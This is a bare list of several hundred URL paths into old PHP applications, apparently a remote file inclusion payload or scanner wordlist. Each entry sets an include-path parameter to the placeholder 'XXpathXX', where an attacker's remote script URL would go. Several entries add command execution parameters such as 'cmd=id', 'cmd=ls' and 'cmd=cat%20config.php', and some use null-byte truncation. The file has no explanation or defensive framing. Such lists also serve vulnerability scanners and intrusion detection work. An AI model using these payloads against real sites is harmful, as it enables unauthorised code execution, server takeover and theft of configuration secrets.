-/modules/agendax/addevent.inc.php?agendax_path=XXpathXX&cmd=id
-/modules/bank/includes/design/main.inc.php?bank_data[root]=XXpathXX?
-/modules/basicfog/basicfogfactory.class.php?PATH_TO_CODE=XXpathXX
-/modules/birstday/birst.php?exbb[home_path]=XXpathXX?
-/modules/birstday/profile_show.php?exbb[home_path]=XXpathXX?
-/modules/birstday/select.php?exbb[home_path]=XXpathXX?
-/modules/blocks/headerfile.php?system[path]=XXpathXX
-/modules/calendar/index.php?inc_dir=XXpathXX
-/modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=XXpathXX?
-/modules/calendar/mod_calendar.php?absolute_path=XXpathXX?
-/modules/certinfo/index.php?full_path=XXpathXX
-/modules/character_roster/include.php?mod_root=XXpathXX?
-/modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=XXpathXX?
-/modules/coppermine/themes/default/theme.php?THEME_DIR=XXpathXX
-/modules/downloads/lib/LM_Downloads.php?pathToIndex=XXpathXX
-/modules/dungeon/tick/allincludefortick.php?PATH_TO_CODE=XXpathXX
-/modules/emails/index.php?full_path=XXpathXX
-/modules/events/index.php?full_path=XXpathXX
-/modules/fax/index.php?full_path=XXpathXX
-/modules/files/blocks/latest_files.php?system[path]=XXpathXX
-/modules/files/index.php?full_path=XXpathXX
-/modules/files/list.php?full_path=XXpathXX
-/modules/filters/headerfile.php?system[path]=XXpathXX
-/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=XXpathXX?
-/modules/forums/blocks/latest_posts.php?system[path]=XXpathXX
-/modules/global/inc/content.inc.php?sIncPath=XXpathXX?
-/modules/groupadm/index.php?full_path=XXpathXX
-/modules/groups/headerfile.php?system[path]=XXpathXX
-/modules/guestbook/index.php?CONFIG[local_root]=XXpathXX?
-/modules/history/index.php?full_path=XXpathXX
-/modules/home.module.php?repmod=XXpathXX?
-/modules/horoscope/footer.php?xoopsConfig[root_path]=XXpathXX
-/modules/icontent/include/wysiwyg/spaw_control.class.php?spaw_root=XXpathXX
-/modules/info/index.php?full_path=XXpathXX
-/modules/links/blocks/links.php?system[path]=XXpathXX
-/modules/links/showlinks.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX
-/modules/links/submit_links.php?rootdp=zZz&gsLanguage=XXpathXX
-/modules/log/index.php?full_path=XXpathXX
-/modules/mail/index.php?full_path=XXpathXX
-/modules/menu/headerfile.php?system[path]=XXpathXX
-/modules/messages/index.php?full_path=XXpathXX
-/modules/mod_as_category.php?mosConfig_absolute_path=XXpathXX
-/modules/mod_as_category/mod_as_category.php?mosConfig_absolute_path=XXpathXX
-/modules/mod_calendar.php?absolute_path=XXpathXX
-/modules/mod_flatmenu.php?mosConfig_absolute_path=XXpathXX
-/modules/mod_mainmenu.php?mosConfig_absolute_path=XXpathXX
-/modules/mod_weather.php?absolute_path=XXpathXX?
-/modules/mx_smartor/admin/admin_album_otf.php?phpbb_root_path=XXpathXX?
-/modules/newbb_plus/config.php?bbPath[root_theme]=XXpathXX
-/modules/newbb_plus/votepolls.php?bbPath[path]=XXpathXX
-/modules/news/blocks/latest_news.php?system[path]=XXpathXX
-/modules/newusergreatings/pm_newreg.php?exbb[home_path]=XXpathXX?
-/modules/organizations/index.php?full_path=XXpathXX
-/modules/phones/index.php?full_path=XXpathXX
-/modules/pms/index.php?module_path=XXpathXX???
-/modules/poll/inlinepoll.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX
-/modules/poll/showpoll.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX
-/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=XXpathXX?
-/modules/presence/index.php?full_path=XXpathXX
-/modules/projects/index.php?full_path=XXpathXX
-/modules/projects/list.php?full_path=XXpathXX
-/modules/projects/summary.inc.php?full_path=XXpathXX
-/modules/punish/p_error.php?exbb[home_path]=XXpathXX?
-/modules/punish/profile.php?exbb[home_path]=XXpathXX?
-/modules/reports/index.php?full_path=XXpathXX
-/modules/search/index.php?full_path=XXpathXX
-/modules/search/search.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX?
-/modules/settings/headerfile.php?system[path]=XXpathXX
-/modules/snf/index.php?full_path=XXpathXX
-/modules/syslog/index.php?full_path=XXpathXX
-/modules/tasks/index.php?full_path=XXpathXX
-/modules/tasks/searchsimilar.php?full_path=XXpathXX
-/modules/tasks/summary.inc.php?full_path=XXpathXX
-/modules/threadstop/threadstop.php?exbb[home_path]=XXpathXX?
-/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX
-/modules/tml/block.tag.php?GLOBALS[PTH][classes]=XXpathXX
-/modules/tsdisplay4xoops/blocks/tsdisplay4xoops_block2.php?xoops_url=XXpathXX
-/modules/useradm/index.php?full_path=XXpathXX
-/modules/users/headerfile.php?system[path]=XXpathXX
-/modules/vWar_Account/includes/functions_common.php?vwar_root2=XXpathXX
-/modules/visitors2/include/config.inc.php?lvc_include_dir=XXpathXX?
-/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=XXpathXX
-/modules/wiwimod/spaw/spaw_control.class.php?spaw_root=XXpathXX
-/modules/xfsection/modify.php?dir_module=XXpathXX
-/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=XXpathXX
-/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX
-/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX?
-/modulistica/mdl_save.php?CLASSPATH=XXpathXX
-/modx-0.9.6.2/assets/snippets/reflect/snippet.reflect.php?reflect_base=XXpathXX?
-/moodle/admin/utfdbmigrate.php?cmd=XXpathXX
-/moosegallery/display.php?type=XXpathXX?&cmd=[command]
-/mostlyce/jscripts/tiny_mce/plugins/htmltemplate/htmltemplate.php?mosConfig_absolute_path=XXpathXX
-/moteur/moteur.php?chemin=XXpathXX?
-/movie_cls.php?full_path=XXpathXX
-/msDb.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX
-/music/buycd.php?HTTP_DOCUMENT_ROOT=XXpathXX?
-/mutant_includes/mutant_functions.php?phpbb_root_path=XXpathXX
-/mxBB/modules/kb_mods/includes/kb_constants.php?module_root_path=XXpathXX
-/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=XXpathXX
-/mygallery/myfunctions/mygallerybrowser.php?myPath=XXpathXX
-/myphpcommander_path/system/lib/package.php?gl_root=XXpathXX?cmd
-/mysave.php?file=XXpathXX
-/naboard_pnr.php?skin=XXpathXX?
-/ncaster/admin/addons/archive/archive.php?adminfolder=XXpathXX
-/network_module_selector.php?path_prefix=XXpathXX
-/news.php?CONFIG[script_path]=XXpathXX?
-/news.php?config[root_ordner]=XXpathXX?&cmd=id
-/news.php?scriptpath=XXpathXX?
-/news.php?vwar_root=XXpathXX
-/news/include/createdb.php?langfile;=XXpathXX?
-/news/include/customize.php?l=XXpathXX?
-/news/newstopic_inc.php?indir=XXpathXX
-/news/scripts/news_page.php?script_path=XXpathXX?
-/newsadmin.php?action=XXpathXX
-/newsarchive.php?path_to_script=XXpathXX?&cmd=ls
-/newsfeeds/includes/aggregator.php?zf_path=XXpathXX
-/newsfeeds/includes/controller.php?zf_path=XXpathXX
-/newsletter/newsletter.php?waroot=XXpathXX
-/newsp/lib/class.Database.php?path=XXpathXX?
-/newticket.php?lang=XXpathXX
-/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=XXpathXX
-/noticias.php?inc=XXpathXX?
-/nucleus/plugins/skinfiles/index.php?DIR_LIBS=XXpathXX
-/nuke_path/iframe.php?file=XXpathXX
-/nukebrowser.php?filnavn=XXpathXX&filhead=XXpathXX&cmd=id
-/nuseo/admin/nuseo_admin_d.php?nuseo_dir=XXpathXX?
-/oaboard_en/forum.php?inc=XXpathXX
-/ocp-103/index.php?req_path=XXpathXX
-/ocs/include/footer.inc.php?fullpath=XXpathXX?
-/ocs/include/theme.inc.php?fullpath=XXpathXX?
-/ocs/openemr-2.8.2/custom/import_xml.php?srcdir=XXpathXX?
-/olbookmarks-0.7.4/themes/test1.php?XXpathXX
-/oneadmin/adminfoot.php?path[docroot]=XXpathXX
-/oneadmin/blogger/sampleblogger.php?path[docroot]=XXpathXX?
-/oneadmin/config-bak.php?include_once=XXpathXX
-/oneadmin/config.php?path[docroot]=XXpathXX
-/oneadmin/ecommerce/sampleecommerce.php?path[docroot]=XXpathXX?
-/online.php?config[root_ordner]=XXpathXX?&cmd=id
-/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=XXpathXX?
-/openi-admin/base/fileloader.php?config[openi_dir]=XXpathXX
-/openrat/themes/default/include/html/insert.inc.php?tpl_dir=XXpathXX???
-/opensurveypilot/administration/user/lib/group.inc.php?cfgPathToProjectAdmin=XXpathXX
-/ops/gals.php?news_file=XXpathXX
-/order/login.php?svr_rootscript=XXpathXX
-/osData/php121/php121db.php?php121dir=XXpathXX%00
-/ossigeno-suite-2.2_pre1/upload/xax/admin/modules/uninstall_module.php?level=XXpathXX?
-/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=XXpathXX?
-/owimg.php3?path=XXpathXX
-/p-news.php?pn_lang=XXpathXX
-/pafiledb/includes/pafiledb_constants.php?module_root_path=XXpathXX
-/page.php?goto=XXpathXX
-/page.php?id=XXpathXX
-/panel/common/theme/default/header_setup.php?path[docroot]=XXpathXX
-/param_editor.php?folder=XXpathXX?
-/parse/parser.php?WN_BASEDIR=XXpathXX
-/patch/?language_id=XXpathXX
-/patch/tools/send_reminders.php?noSet=0&includedir=XXpathXX?
-/paypalipn/ipnprocess.php?INC=XXpathXX?
-/pda/pda_projects.php?offset=XXpathXX
-/phfito/phfito-post?SRC_PATH=XXpathXX
-/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=XXpathXX
-/photo_comment.php?toroot=XXpathXX
-/php-inc/log.inc.php?SKIN_URL=XXpathXX
-/php-include-robotsservices.php?page=XXpathXX
-/php-nuke/modules/Forums/admin/admin_styles.php?phpbb_root_path=XXpathXX
-/php.incs/common.inc.php?cm_basedir=XXpathXX?
-/php/init.gallery.php?include_class=XXpathXX/something
-/php121db.php?php121dir=XXpathXX%00
-/php4you.php?dir=XXpathXX?
-/phpAdsNew-2.0.7/libraries/lib-remotehost.inc?phpAds_geoPlugin=XXpathXX?
-/phpBB2/shoutbox.php?phpbb_root_path=XXpathXX
-/phpCards.header.php?CardPath=XXpathXX?
-/phpGedView/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=XXpathXX
-/phpMyChat.php3?=XXpathXX?cmd=id
-/phpMyConferences_8.0.2/common/visiteurs/include/menus.inc.php?lvc_include_dir=XXpathXX?
-/phpQLAdmin-2.2.7/ezmlm.php?_SESSION[path]=XXpathXX?
-/phpSiteBackup-0.1/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX
-/phpbb/sendmsg.php?phpbb_root_path=XXpathXX
-/phpcalendar/includes/calendar.php?phpc_root_path=XXpathXX?
-/phpcalendar/includes/setup.php?phpc_root_path=XXpathXX?
-/phpdebug_PATH/test/debug_test.php?debugClassLocation=XXpathXX
-/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROOT=XXpathXX
-/phpffl/phpffl_webfiles/program_files/livedraft/livedraft.php?PHPFFL_FILE_ROOT=XXpathXX
-/phphd_downloads/common.php?phphd_real_path=XXpathXX
-/phphost_directoryv2/include/admin.php?rd=XXpathXX?
-/phphtml.php?htmlclass_path=XXpathXX
-/phpi/edit_top_feature.php?include_connection=XXpathXX
-/phpi/edit_topics_feature.php?include_connection=XXpathXX
-/phplib/site_conf.php?ordnertiefe=XXpathXX
-/phplib/version/1.3.3/functionen/class.csv.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/functionen/produkte_nach_serie.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/functionen/ref_kd_rubrik.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/module/hg_referenz_jobgalerie.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/module/produkte_nach_serie_alle.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/module/ref_kd_rubrik.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/module/referenz.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/module/surfer_aendern.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/module/surfer_anmeldung_NWL.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/standard/1/lay.php?tt_docroot=XXpathXX
-/phplib/version/1.3.3/standard/3/lay.php?tt_docroot=XXpathXX
-/phplinks/includes/smarty.php?full_path_to_public_program=XXpathXX
-/phporacleview/inc/include_all.inc.php?page_dir=XXpathXX?
-/phppc/poll.php?is_phppc_included=1&relativer_pfad=XXpathXX?
-/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=XXpathXX?
-/phppc/poll_sm.php?is_phppc_included=1&relativer_pfad=XXpathXX?
-/phpquickgallery/gallery_top.inc.php?textFile=XXpathXX
-/phpreactor/inc/polls.inc.php?pathtohomedir=XXpathXX?
-/phpreactor/inc/updatecms.inc.php?pathtohomedir=XXpathXX?
-/phpreactor/inc/users.inc.php?pathtohomedir=XXpathXX?
-/phpreactor/inc/view.inc.php?pathtohomedir=XXpathXX?
-/phpress/adisplay.php?lang=XXpathXX
-/phpunity-postcard.php?plgallery_epost=1&gallery_path=XXpathXX?
-/phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML_MENU_DirPath=XXpathXX
-/phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MENU_DirPath=XXpathXX
-/phpyabs/moduli/libri/index.php?Azione=XXpathXX
-/pirvate/ltwpdfmonth.php?ltw_config['include_dir]=XXpathXX
-/playlist.php?phpbb_root_path=XXpathXX
-/plugin/HP_DEV/cms2.php?s_dir=XXpathXX?
-/plugin/gateway/gnokii/init.php?apps_path[plug]=XXpathXX?
-/plugins/1_Adressbuch/delete.php?folder=XXpathXX
-/plugins/BackUp/Archive.php?bkpwp_plugin_path=XXpathXX?
-/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=XXpathXX?
-/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=XXpathXX?
-/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=XXpathXX?
-/plugins/links/functions.inc?_CONF[path]=XXpathXX
-/plugins/polls/functions.inc?_CONF[path]=XXpathXX
-/plugins/rss_importer_functions.php?sitepath=XXpathXX?
-/plugins/safehtml/HTMLSax3.php?dir[plugins]=XXpathXX?
-/plugins/safehtml/safehtml.php?dir[plugins]=XXpathXX?
-/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/Import.Admin.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/LogView.Admin.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=XXpathXX
-/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=XXpathXX
-/plugins/staticpages/functions.inc?_CONF[path]=XXpathXX
-/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=XXpathXX
-/plume-1.1.3/manager/tools/link/dbinstall.php?cmd=ls&_PX_config[manager_path]=XXpathXX
-/plus.php?_pages_dir=XXpathXX?
-/pmapper-3.2-beta3/incphp/globals.php?_SESSION[PM_INCPHP]=XXpathXX?
-/pmi_v28/Includes/global.inc.php?strIncludePrefix=XXpathXX
-/pmi_v28/Includes/global.inc.php?strIncludePrefix=XXpathXX?
-/podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/admin.php?p=admin&absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/categories_add.php?absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/categories_remove.php?absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/editdel.php?p=admin&absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/ftpfeature.php?p=admin&absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/login.php?absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/pgRSSnews.php?absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/showcat.php?absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/archive_cat.php?absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/archive_nocat.php?absoluteurl=XXpathXX
-/podcastgen1.0beta2/core/recent_list.php?absoluteurl=XXpathXX
-/poll/view.php?int_path=XXpathXX
-/pollvote.php?pollname=XXpathXX?&cmd=ls
-/pop.php?base=XXpathXX
-/popup_window.php?site_isp_root=XXpathXX?
-/port.php?content=XXpathXX
-/portal/includes/portal_block.php?phpbb_root_path=XXpathXX
-/portal/portal.php?phpbb_root_path=XXpathXX?
-/portfolio.php?id=XXpathXX
-/portfolio/commentaires/derniers_commentaires.php?rep=XXpathXX?
-/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=XXpathXX
-/prepare.php?xcart_dir=XXpathXX?
-/prepend.php?_PX_config[manager_path]=XXpathXX
-/preview.php?php_script_path=XXpathXX?&cmd=dir
-/principal.php?conteudo=XXpathXX
-/print.php?page=XXpathXX
-/print.php?pager=XXpathXX
-/print.php?print=XXpathXX?
-/process.php?DEFAULT_SKIN=XXpathXX
-/professeurs/index.php?repertoire_config=XXpathXX
-/profil.php?config[root_ordner]=XXpathXX?&cmd=id
-/projects/weatimages/demo/index.php?ini[langpack]=XXpathXX
-/promocms/newspublish/include.php?path[bdocroot]=XXpathXX
-/protection.php?logout_page=XXpathXX?
-/provider/auth.php?xcart_dir=XXpathXX?
-/psynch/nph-psa.exe?css=XXpathXX
-/psynch/nph-psf.exe?css=XXpathXX
-/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=XXpathXX?
-/public_html/modules/Forums/favorites.php?nuke_bb_root_path=XXpathXX?
-/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=XXpathXX
-/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=XXpathXX
-/qsgen_0.7.2c/qlib/smarty.inc.php?CONFIG[gameroot]=XXpathXX?
-/qsgen_0.7.2c/server_request.php?CONFIG[gameroot]=XXpathXX?
-/qte_web.php?qte_web_path=XXpathXX?
-/quick_reply.php?phpbb_root_path=XXpathXX&mode=[file]
-/quickie.php?QUICK_PATH=XXpathXX?&cmd=id
-/random2.php?path_to_folder=XXpathXX
-/randshop/index.php?incl=XXpathXX?
-/rdf.php?page[path]=XXpathXX?&cmd=ls
-/reactivate.php?base_dir=XXpathXX
-/read.php?data=XXpathXX?
-/readmore.php?config["sipssys"]=XXpathXX
-/recent.php?insPath=XXpathXX
-/rechnung.php?_PHPLIB[libdir]=XXpathXX?
-/reconfig.php?GLOBALS[CLPath]=XXpathXX
-/redaxo/include/addons/import_export/pages/index.inc.php?REX[INCLUDE_PATH]=XXpathXX
-/redirect.php?url=XXpathXX
-/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=XXpathXX
-/register.php?base_dir=XXpathXX
-/releasenote.php?mosConfig_absolute_path=XXpathXX
-/rempass.php?lang=XXpathXX
-/report.php?scriptpath=XXpathXX?
-/reports/who_r.php?bj=XXpathXX
-/resources/includes/class.Smarty.php?cfg[sys][base_path]=XXpathXX
-/ressourcen/dbopen.php?home=XXpathXX?
-/robotstats.inc.php?DOCUMENT_ROOT=XXpathXX?
-/root/public/code/cp_html2txt.php?page=XXpathXX
-/routines/fieldValidation.php?jssShopFileSystem=XXpathXX
-/rspa/framework/Controller_v4.php?__ClassPath=XXpathXX
-/rspa/framework/Controller_v4.php?__ClassPath=XXpathXX?
-/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=XXpathXX
-/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=XXpathXX?
-/rss.php?page[path]=XXpathXX?&cmd=ls
-/rss.php?phpraid_dir=XXpathXX
-/rss.php?premodDir=XXpathXX
-/rss2.php?page[path]=XXpathXX?&cmd=ls
-/run.php?dir=SHELL?&file=XXpathXX
-/s01.php?shopid=XXpathXX
-/s01.php?shopid=XXpathXX?
-/s02.php?shopid=XXpathXX?
-/s03.php?shopid=XXpathXX?
-/s04.php?shopid=XXpathXX?
-/sablonlar/gunaysoft/gunaysoft.php?icerikyolu=XXpathXX
-/sablonlar/gunaysoft/gunaysoft.php?sayfaid=XXpathXX
-/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=XXpathXX
-/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=XXpathXX?
-/sample/xls2mysql/parser_path=XXpathXX?
-/save.php?file_save=XXpathXX
-/saveserver.php?thisdir=XXpathXX
-/script//ident/index.php?path_inc=XXpathXX
-/script/_conf/core/common-tpl-vars.php?confdir=XXpathXX?
-/script/common.inc.php?path_inc=XXpathXX
-/script/gestion/index.php?path_inc=XXpathXX
-/script/ident/disconnect.php?path_inc=XXpathXX
-/script/ident/ident.inc.php?path_inc=XXpathXX
-/script/ident/identification.php?path_inc=XXpathXX
-/script/ident/loginliste.php?path_inc=XXpathXX
-/script/ident/loginmodif.php?path_inc=XXpathXX
-/script/index.php?path_inc=XXpathXX
-/script/init/createallimagecache.php?PATH_TO_CODE=XXpathXX
-/script/menu/menuadministration.php?path_inc=XXpathXX
-/script/menu/menuprincipal.php?path_inc=XXpathXX
-/script/param/param.inc.php?path_inc=XXpathXX
-/script/plugins/phpgacl/admin/index.php?path_inc=XXpathXX
-/script/template/index.php?main_page_directory=XXpathXX
-/script/tick/allincludefortick.php?PATH_TO_CODE=XXpathXX
-/script/tick/test.php?PATH_TO_CODE=XXpathXX
-/script_path/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=XXpathXX?
-/script_path/cms/classes/openengine/filepool.php?oe_classpath=XXpathXX?
-/script_path/installation/index.php?mosConfig_absolute_path=XXpathXX?
-/script_path/pgvnuke/pgvindex.php?DOCUMENT_ROOT/header.php=XXpathXX
-/scripts/check-lom.php?ETCDIR=XXpathXX
-/scripts/gallery.scr.php?GLOBALS[PTH][func]=XXpathXX?
-/scripts/lom_update.php?ETCDIR=XXpathXX
-/scripts/news.scr.php?GLOBALS[PTH][classes]=XXpathXX?
-/scripts/polls.scr.php?GLOBALS[PTH][classes]=XXpathXX?
-/scripts/rss.scr.php?GLOBALS[PTH][classes]=XXpathXX?
-/scripts/search.scr.php?GLOBALS[PTH][classes]=XXpathXX?
-/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=XXpathXX
-/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=XXpathXX?
-/scripts/weigh_keywords.php?ETCDIR=XXpathXX
-/scripts/xtextarea.scr.php?GLOBALS[PTH][spaw]=XXpathXX?
-/search.php?config["sipssys"]=XXpathXX
-/search.php?id=XXpathXX
-/search.php?insPath=XXpathXX
-/search/submit.php?config["sipssys"]=XXpathXX
-/search_wA.php?LIBPATH=XXpathXX
-/searchbot.php?path=XXpathXX
-/security/include/_class.security.php?PHPSECURITYADMIN_PATH=XXpathXX
-/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=XXpathXX?
-/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=XXpathXX?
-/senetman/html/index.php?page=XXpathXX
-/services.php?page=XXpathXX
-/services/samples/inclusionService.php?CabronServiceFolder=XXpathXX%00
-/settings.php?P[includes]=XXpathXX
-/settings_sql.php?path=XXpathXX
-/setup/inc/database.php?tcms_administer_site=XXpathXX
-/setup/upgrader.php?RootDirectory=XXpathXX
-/sezhoo/SezHooTabsAndActions.php?IP=XXpathXX
-/shop/includes/header.inc.php?dateiPfad=XXpathXX
-/shop/index.php?action=XXpathXX?&cmd=cat%20config.php
-/shop/page.php?osCsid=XXpathXX?
-/shop/page.php?pageid=XXpathXX?
-/shoutbox.php?language=XXpathXX
-/shoutbox.php?root=XXpathXX?cmd=id
-/show.php?file=XXpathXX
-/show.php?id=XXpathXX
-/show.php?page=XXpathXX
-/show.php?path=XXpathXX
-/show_archives.php?cutepath=XXpathXX?
-/sid=XXXXXXXXXXXXXXXXXXXXXXXXXXXX&shopid=XXpathXX
-/sid=XXpathXX
-/signer/final.php?smiley=XXpathXX?
-/signin.php?sent=1&AMG_serverpath=XXpathXX
-/sinagb.php?fuss=XXpathXX
-/sinapis.php?fuss=XXpathXX
-/sitebar/Integrator.php?file=XXpathXX
-/sitebar/index.php?writerFile=XXpathXX
-/sitebuilder/admin/top.php?admindir=XXpathXX
-/sitemap.xml.php?dir[classes]=XXpathXX
-/skin/board/default/doctype.php?dir=XXpathXX
-/skin/dark/template.php?path=XXpathXX
-/skin/gold/template.php?path=XXpathXX
-/skin/html/table.php?pachtofile=XXpathXX
-/skin/original/template.php?path=XXpathXX
-/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=XXpathXX
-/skins/advanced/advanced1.php?pluginpath[0]=XXpathXX
-/skins/default.php?dir_inc=XXpathXX
-/skins/header.php?ote_home=XXpathXX
-/skins/phpchess/layout_admin_cfg.php?Root_Path=XXpathXX
-/skins/phpchess/layout_cfg.php?Root_Path=XXpathXX
-/skins/phpchess/layout_t_top.php?Root_Path=XXpathXX
-/skysilver/login.tpl.php?theme=XXpathXX?
-/slogin_lib.inc.php?slogin_path=XXpathXX?
-/smarty.php?xcart_dir=XXpathXX?
-/smarty/smarty_class.php?_smarty_compile_path=XXpathXX
-/smilies.php?config=XXpathXX
-/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX?
-/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=XXpathXX?
-/snort/base_stat_common.php?BASE_path=XXpathXX
-/social_game_play.php?path=XXpathXX?
-/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=XXpathXX
-/song.php?phpbb_root_path=XXpathXX
-/source.php?bibtexrootrel=XXpathXX?
-/source/mod/rss/channeledit.php?Codebase=XXpathXX
-/source/mod/rss/post.php?Codebase=XXpathXX
-/source/mod/rss/view.php?Codebase=XXpathXX
-/source/mod/rss/viewitem.php?Codebase=XXpathXX
-/sources/Admin/admin_cats.php?CONFIG[main_path]=XXpathXX
-/sources/Admin/admin_edit.php?CONFIG[main_path]=XXpathXX
-/sources/Admin/admin_import.php?CONFIG[main_path]=XXpathXX
-/sources/Admin/admin_templates.php?CONFIG[main_path]=XXpathXX
-/sources/functions.php?CONFIG[main_path]=XXpathXX
-/sources/help.php?CONFIG[main_path]=XXpathXX
-/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=XXpathXX
-/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=XXpathXX
-/sources/mail.php?CONFIG[main_path]=XXpathXX
-/sources/misc/new_day.php?path=XXpathXX
-/sources/news.php?CONFIG[main_path]=XXpathXX
-/sources/post.php?fil_config=XXpathXX
-/sources/template.php?CONFIG[main_path]=XXpathXX
-/sources/tourney/index.php?page=XXpathXX?
-/spaw/spaw_control.class.php?GLOBALS[spaw_root]=XXpathXX
-/spaw/spaw_control.class.php?spaw_root=XXpathXX
-/speedberg/include/entrancePage.tpl.php?SPEEDBERG_PATH=XXpathXX
-/speedberg/include/generalToolBox.tlb.php?SPEEDBERG_PATH=XXpathXX
-/speedberg/include/myToolBox.tlb.php?SPEEDBERG_PATH=XXpathXX
-/speedberg/include/scriplet.inc.php?SPEEDBERG_PATH=XXpathXX
-/speedberg/include/simplePage.tpl.php?SPEEDBERG_PATH=XXpathXX
-/speedberg/include/speedberg.class.php?SPEEDBERG_PATH=XXpathXX
-/speedberg/include/standardPage.tpl.php?SPEEDBERG_PATH=XXpathXX
-/spellcheckwindowframeset.php?SpellIncPath=XXpathXX
-/squirrelcart/cart_content.php?cart_isp_root=XXpathXX
-/src/ark_inc.php?cfg_pear_path=XXpathXX?
-/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=XXpathXX
-/src/scripture.php?pageHeaderFile=XXpathXX?
-/starnet/themes/c-sky/main.inc.php?cmsdir=XXpathXX?
-/start.php?lang=XXpathXX
-/start.php?pg=XXpathXX
-/stat_modules/users_age/module.php?phpbb_root_path=XXpathXX
-/stats.php?vwar_root=XXpathXX
-/stphpapplication.php?STPHPLIB_DIR=XXpathXX
-/stphpbtnimage.php?STPHPLIB_DIR=XXpathXX
-/stphpform.php?STPHPLIB_DIR=XXpathXX
-/str.php?p=XXpathXX
-/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=XXpathXX
-/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=XXpathXX?
-/strload.php?LangFile=XXpathXX
